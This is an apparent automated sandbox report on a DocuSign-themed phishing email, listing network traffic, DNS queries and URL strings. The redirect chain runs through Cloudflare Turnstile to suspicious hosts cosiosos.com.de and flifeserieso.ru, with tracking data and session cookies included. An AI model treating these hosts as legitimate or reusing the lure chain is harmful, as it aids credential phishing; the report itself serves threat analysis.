Source: global traffic	HTTP traffic detected: GET /track/?data=eyJldmVudCI6ICJDb25zZW50IEFjY2VwdGVkIiwicHJvcGVydGllcyI6IHsiJG9zIjogIldpbmRvd3MiLCIkYnJvd3NlciI6ICJDaHJvbWUiLCIkcmVmZXJyaW5nX2RvbWFpbiI6ICJuYTQuZG9jdXNpZ24ubmV0IiwiJHNjcmVlbl9oZWlnaHQiOiAxMDI0LCIkc2NyZWVuX3dpZHRoIjogMTI4MCwibXBfbGliIjogIndlYiIsImRpc3RpbmN0X2lkIjogIjMzYWY2NmYxNGQ3ZDZkMTZmYjM5OTA1NzIzYmVlY2QwYjQ2NjIyMTciLCIkaW5pdGlhbF9yZWZlcnJpbmdfZG9tYWluIjogIm5hNC5kb2N1c2lnbi5uZXQiLCJQb3N0IFNpZ25pbmcgRGlhbG9nIjogIlNhdmUgQSBDb3B5IiwiRW52ZWxvcGUgSUQiOiAiYzUyNGZiMWRjMDNlODkyZjZiOTg1NDQxYjY1ZTRhMTJhZmJlZGQxOSIsIlJlY2lwaWVudCBJRCI6ICJjOGRhNzlhZjE5NmI0ODM5OGJiNTE1NWVlZjMwMTFiNDViYWRkYzE2IiwiU2lnbmVyIElEIjogIjMzYWY2NmYxNGQ3ZDZkMTZmYjM5OTA1NzIzYmVlY2QwYjQ2NjIyMTciLCJCcm93c2VyIFZlcnNpb24iOiAiQ2hyb21lIDEzMC4wIiwiRmllbGRzIFJlY2lwaWVudCI6ICIwIiwiRmllbGRzIEVudmVsb3BlIjogIjEiLCJSZXF1aXJlZCBGaWVsZHMiOiAiMCIsIkxhbmd1YWdlIjogImVuIiwiU2lnbmluZyBBY2Nlc3MiOiAiUmVtb3RlIiwiQXV0b05hdiBSdWxlcyI6ICJGaWVsZHNSZXF1aXJlZCIsIlJlY2lwaWVudHMiOiAiNTAiLCJSZWNpcGllbnQgVHlwZSI6ICJTaWduZXIiLCJSZWNpcGllbnRzIFdvcmtmbG93IjogIjUwIiwiU2VuZGVyIEFjY291bnQgSUQiOiAiOGIwNjI1ODhiMjM4NTUzODA4OTJmOGJiNDllNzhmMmNmYjA2MjhkMSIsIkFjY291bnQgSUQiOiAiODgwMzlhNThkYjY5ODA0ZjQwMmY5MjUyODg4MmNjZDE5YjU3ZDc5OCIsIkJyYW5kZWQiOiBmYWxzZSwiQnJhbmRlZCBMb2dvIjogZmFsc2UsIkJyYW5kZWQgQ29sb3IiOiBmYWxzZSwiQnJhbmRlZCBGaWxlIjogZmFsc2UsIkNvbmNhdCBNb2RlIjogZmFsc2UsIkF0dGFjaG1lbnQgQWRkZWQiOiBmYWxzZSwiQXR0YWNobWVudCBDb3VudCI6IDAsIkF0dGFjaG1lbnQgTWV0aG9kIjogbnVsbCwiUGFnZXMiOiAiMSIsIkRvY3MiOiAiMSIsIkF1dGhlbnRpY2F0aW9uIjogIk5vbmUiLCJMb2dnZWQgSW4iOiBmYWxzZSwiQ29uc2VudCBTaG93biI6IHRydWUsIkFjY291bnQgSG9sZGVyIjogZmFsc2UsIkZpZWxkIFNpZ25hdHVyZSI6IGZhbHNlLCJGaWVsZCBJbml0aWFsIjogZmFsc2UsIkZpZWxkIFN0YW1wIjogZmFsc2UsIkZpZWxkIERhdGUiOiBmYWxzZSwiRmllbGQgVGV4dCI6IGZhbHNlLCJGaWVsZCBOYW1lIjogZmFsc2UsIkZpZWxkIENvbXBhbnkiOiBmYWxzZSwiRmllbGQgVGl0bGUiOiBmYWxzZSwiRmllbGQgRW1haWwiOiBmYWxzZSwiRmllbGQgQ2hlY2tib3giOiBmYWxzZSwiRmllbGQgUmFkaW8iOiBmYWxzZSwiRmllbGQgRHJvcGRvd24iOiBmYWxzZSwiRmllbGQgQXR0YWNobWVudCI6IGZhbHNlLCJGaWVsZCBOb3RlIjogZmFsc2UsIkZpZWxkIEFwcHJvdmUiOiBmYWxzZSwiRmllbGQgRGVjbGluZSI6IGZhbHNlLCJGaWVsZCBWaWV3IjogZmFsc2UsIkZpZWxkIEZvcm11bGEiOiBmYWxzZSwiVGVtcGxhdGUgVXNlZCI6IGZhbHNlLCJTdXBwbGVtZW50YWwgRG9jdW1lbnQgQ291bnQiOiAwLCJTdXBwbGVtZW50YWwgRG9jdW1lbnQgUmVxdWlyZW1lbnRzIjogIiIsIkF1dG9Db21wbGV0ZSBFbmFibGVkIjogZmFsc2UsInByb2R1Y3QgYXJlYSI6ICJTaWduaW5nIiwiRnJlZWZvcm0iOiBmYWxzZSwiU2lnbmluZ0V4dGVuc2lvbnMiOiB0cnVlLCJCcm93c2VyIFdpZHRoIEluaXRpYWwiOiAxMjgwLCJCcm93c2VyIEhlaWdodCBJbml0aWFsIjogOTA3LCJCcm93c2VyIFdpZHRoIjogMTI4MCwiQnJvd3NlciBIZWlnaHQiOiA5MDcsIlNlc3Npb24gQWJvdXQgdG8gRXhwaXJlIENvdW50IjogMCwiVG9wIEZpbmlzaCBIaWRkZW4iOiBmYWxzZSwiUG93ZXJGb3JtIjogZmFsc2UsIkEvQiBUZXN0cyI6ICJpZnJhbWVsZXNzOiBtb2JpbGUiLCJQb3dlcmZvcm0gU2VuZGVyIjogZmFsc2UsIlBsYXRmb3JtIjogIldlYiBBcHAiLCJEU19BIjogIjdjZGU1OTBhLWQ1NDYtNDgzZi05ZWE1LTdjMDhiN2RjYjNkMSIsInRva2VuIjogIjMwNGNjYmRlMjRkM2IxNWZmZTJkNWRlMzBjMTBkYWIyIn19&ip=1&_=1730304166882 HTTP/1.1Host: api.mixpanel.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.3
Source: global traffic	HTTP traffic detected: GET /SLS/%7BE7A50285-D08D-499D-9FF8-180FDC2332BC%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=taDD3xpuybGbbSO&MD=rvYMRxo8 HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /7i2ko/ HTTP/1.1Host: cosiosos.com.deConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /turnstile/v0/api.js HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://cosiosos.com.de/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /turnstile/v0/g/f2bbd6738e15/api.js HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://cosiosos.com.de/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /turnstile/v0/g/f2bbd6738e15/api.js HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/g/turnstile/if/ov2/av0/rcv0/0/lgrcx/0x4AAAAAAAymLki0nrxyy8m1/auto/fbE/normal/auto/ HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeReferer: https://cosiosos.com.de/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/g/orchestrate/chl_api/v1?ray=8daca25f6a033ab9&lang=auto HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/turnstile/if/ov2/av0/rcv0/0/lgrcx/0x4AAAAAAAymLki0nrxyy8m1/auto/fbE/normal/auto/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/g/cmg/1 HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/turnstile/if/ov2/av0/rcv0/0/lgrcx/0x4AAAAAAAymLki0nrxyy8m1/auto/fbE/normal/auto/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/g/cmg/1 HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /favicon.ico HTTP/1.1Host: cosiosos.com.deConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://cosiosos.com.de/7i2ko/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: PHPSESSID=2uscd0m6dm2oar0fqna57kj4ec
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/g/orchestrate/chl_api/v1?ray=8daca25f6a033ab9&lang=auto HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/g/flow/ov1/1949912508:1730302839:6E6Pv0gXY2yq3TxC6jtiBY6FhM93W7pcTOciG49SbVM/8daca25f6a033ab9/mSxS4QLFfX1KduKA8IVUdCMT6yk3.DZUtG8sRCXn800-1730304194-1.1.1.1-tLrtY0KPfLrVeUbAZQo5IZkOR0jvrGXSYd7PP0lxxogrjtFGGvybnkXgMlSUe35b HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/g/i/8daca25f6a033ab9/1730304197167/gRrNLvrrXazQrWD HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/turnstile/if/ov2/av0/rcv0/0/lgrcx/0x4AAAAAAAymLki0nrxyy8m1/auto/fbE/normal/auto/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/g/i/8daca25f6a033ab9/1730304197167/gRrNLvrrXazQrWD HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/g/pat/8daca25f6a033ab9/1730304197174/07f7aaa5969baaa40a857825e8b1c2599f2cd729566798306c53c51f8a6113d5/JiPuQio3d7laoB9 HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveCache-Control: max-age=0sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/turnstile/if/ov2/av0/rcv0/0/lgrcx/0x4AAAAAAAymLki0nrxyy8m1/auto/fbE/normal/auto/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/g/flow/ov1/1949912508:1730302839:6E6Pv0gXY2yq3TxC6jtiBY6FhM93W7pcTOciG49SbVM/8daca25f6a033ab9/mSxS4QLFfX1KduKA8IVUdCMT6yk3.DZUtG8sRCXn800-1730304194-1.1.1.1-tLrtY0KPfLrVeUbAZQo5IZkOR0jvrGXSYd7PP0lxxogrjtFGGvybnkXgMlSUe35b HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/g/flow/ov1/1949912508:1730302839:6E6Pv0gXY2yq3TxC6jtiBY6FhM93W7pcTOciG49SbVM/8daca25f6a033ab9/mSxS4QLFfX1KduKA8IVUdCMT6yk3.DZUtG8sRCXn800-1730304194-1.1.1.1-tLrtY0KPfLrVeUbAZQo5IZkOR0jvrGXSYd7PP0lxxogrjtFGGvybnkXgMlSUe35b HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ajax/libs/crypto-js/4.0.0/crypto-js.min.js HTTP/1.1Host: cdnjs.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://cosiosos.com.de/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ajax/libs/crypto-js/4.0.0/crypto-js.min.js HTTP/1.1Host: cdnjs.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ajax/libs/font-awesome/6.5.0/css/all.min.css HTTP/1.1Host: cdnjs.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://cosiosos.com.de/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET // HTTP/1.1Host: flifeserieso.ruConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ajax/libs/font-awesome/6.5.0/webfonts/fa-solid-900.woff2 HTTP/1.1Host: cdnjs.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://cosiosos.com.desec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: fontReferer: https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.5.0/css/all.min.cssAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ajax/libs/font-awesome/6.5.0/webfonts/fa-brands-400.woff2 HTTP/1.1Host: cdnjs.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://cosiosos.com.desec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: fontReferer: https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.5.0/css/all.min.cssAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /7i2ko/ HTTP/1.1Host: cosiosos.com.deConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: PHPSESSID=2uscd0m6dm2oar0fqna57kj4ec

Source: global traffic	DNS traffic detected: DNS query: na4.docusign.net
Source: global traffic	DNS traffic detected: DNS query: docucdn-a.akamaihd.net
Source: global traffic	DNS traffic detected: DNS query: a.docusign.com
Source: global traffic	DNS traffic detected: DNS query: www.google.com
Source: global traffic	DNS traffic detected: DNS query: api.mixpanel.com
Source: global traffic	DNS traffic detected: DNS query: cdn.optimizely.com
Source: global traffic	DNS traffic detected: DNS query: cosiosos.com.de
Source: global traffic	DNS traffic detected: DNS query: challenges.cloudflare.com
Source: global traffic	DNS traffic detected: DNS query: a.nel.cloudflare.com
Source: global traffic	DNS traffic detected: DNS query: cdnjs.cloudflare.com
Source: global traffic	DNS traffic detected: DNS query: flifeserieso.ru
Source: global traffic	DNS traffic detected: DNS query: cdn.jsdelivr.net

Source: unknown

HTTP traffic detected: POST /RST2.srf HTTP/1.0Connection: Keep-AliveContent-Type: application/soap+xmlAccept: */*User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68})Content-Length: 3592Host: login.live.com

Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Wed, 30 Oct 2024 16:03:16 GMTContent-Type: text/htmlTransfer-Encoding: chunkedConnection: closecache-control: private, no-cache, max-age=0pragma: no-cachevary: Accept-EncodingCF-Cache-Status: BYPASSReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=MkouCdERZZpiD%2BMpUTd8csWNNyAd86pTJGInWpclFvct9PdKN1S%2BK2movndx3HcgVBLuHQRPbs8aASb%2FBI%2FV9gQFG1zUzCBRrIF%2Fb7x46b84YJeSvvA7trghEacm36LMtaM%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 8daca26b68f92cb6-DFWalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=2045&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2836&recv_bytes=1216&delivery_rate=1401742&cwnd=251&unsent_bytes=0&cid=d9227584f6bc0f48&ts=3873&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Wed, 30 Oct 2024 16:03:18 GMTContent-Type: application/jsonContent-Length: 7Connection: closecache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0cf-chl-out: x3ihZ6awx5vegKYIiv4UBDzTVP8UP7ptHiA=$50ccCoNtrHJkdWqVServer: cloudflareCF-RAY: 8daca277dc5146de-DFWalt-svc: h3=":443"; ma=86400
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Wed, 30 Oct 2024 16:03:22 GMTContent-Type: application/jsonContent-Length: 7Connection: closecf-chl-out: eV0hQiDuxYX5PX4f7zsY0xrLrqMLZUimd6c=$DAAZCA27SH8EDw5Fcache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0Server: cloudflareCF-RAY: 8daca2937d4b466b-DFWalt-svc: h3=":443"; ma=86400
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Wed, 30 Oct 2024 16:03:35 GMTContent-Type: application/jsonContent-Length: 7Connection: closecache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0cf-chl-out: ryeOVgd3mzYaVZ8pe3WztQIpEnh1WQ4g5NY=$OK4H6lpn/hIBvCVXServer: cloudflareCF-RAY: 8daca2e478791441-DFWalt-svc: h3=":443"; ma=86400

Source: 57C8EDB95DF3F0AD4EE2DC2B8CFD4157.0.dr	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/disallowedcertstl.cab
Source: chromecache_208.6.dr, chromecache_186.6.dr	String found in binary or memory: http://dbj.org/dbj/?p=286
Source: chromecache_208.6.dr, chromecache_186.6.dr	String found in binary or memory: http://dean.edwards.name/weblog/2005/10/add-event/
Source: chromecache_208.6.dr, chromecache_186.6.dr	String found in binary or memory: http://documentcloud.github.com/underscore/
Source: chromecache_208.6.dr, chromecache_186.6.dr	String found in binary or memory: http://hacks.mozilla.org/2009/07/cross-site-xmlhttprequest-with-cors/
Source: chromecache_208.6.dr, chromecache_186.6.dr	String found in binary or memory: http://mixpanel.com/
Source: Complete with Docusign_ Remittance Advice .pdf(1).eml	String found in binary or memory: http://schema.org/Crea=
Source: Complete with Docusign_ Remittance Advice .pdf(1).eml	String found in binary or memory: http://schema.org/EmailMessage
Source: chromecache_208.6.dr, chromecache_186.6.dr	String found in binary or memory: http://www.ecma-international.org/ecma-262/5.1/#sec-12.4
Source: chromecache_225.6.dr	String found in binary or memory: https://NA4.docusign.net
Source: ~WRS{CF401D11-800B-47CE-B7D5-AE5CAD61CE5A}.tmp.0.dr	String found in binary or memory: https://NA4.docusign.net/member/Images/email/docInvite-white.png
Source: chromecache_225.6.dr	String found in binary or memory: https://apps.docusign.com/cdn/production/1ds/widgets/
Source: chromecache_272.6.dr	String found in binary or memory: https://cdn.jsdelivr.net/npm/bootstrap
Source: chromecache_272.6.dr	String found in binary or memory: https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.5.0/css/all.min.css
Source: Complete with Docusign_ Remittance Advice .pdf(1).eml	String found in binary or memory: https://community.docusign.com/esignature-111?utm_campaign=3DGBL_US_PR=
Source: ~WRS{CF401D11-800B-47CE-B7D5-AE5CAD61CE5A}.tmp.0.dr	String found in binary or memory: https://community.docusign.com/esignature-111?utm_campaign=GBL_US_PRD_AWA_2405_CommunityCTA&utm_medi
Source: chromecache_208.6.dr, chromecache_186.6.dr	String found in binary or memory: https://developer.mozilla.org/en-US/docs/DOM/XMLHttpRequest#withCredentials
Source: Complete with Docusign_ Remittance Advice .pdf(1).eml	String found in binary or memory: https://docucdn-a.akam=
Source: ~WRS{CF401D11-800B-47CE-B7D5-AE5CAD61CE5A}.tmp.0.dr	String found in binary or memory: https://docucdn-a.akamaihd.net/olive/images/2.62.0/global-assets/email-templates/email-logo.png
Source: Complete with Docusign_ Remittance Advice .pdf(1).eml	String found in binary or memory: https://docucdn-a.akamaihd.net/olive/images/=
Source: chromecache_225.6.dr	String found in binary or memory: https://docucdn-a.akamaihd.net/production/1ds/widgets/
Source: chromecache_272.6.dr	String found in binary or memory: https://flifeserieso.ru//
Source: chromecache_272.6.dr	String found in binary or memory: https://flifeserieso.ru//#contact
Source: chromecache_272.6.dr	String found in binary or memory: https://flifeserieso.ru//#inventory
Source: chromecache_272.6.dr	String found in binary or memory: https://flifeserieso.ru//#services
Source: chromecache_312.6.dr	String found in binary or memory: https://fontawesome.com
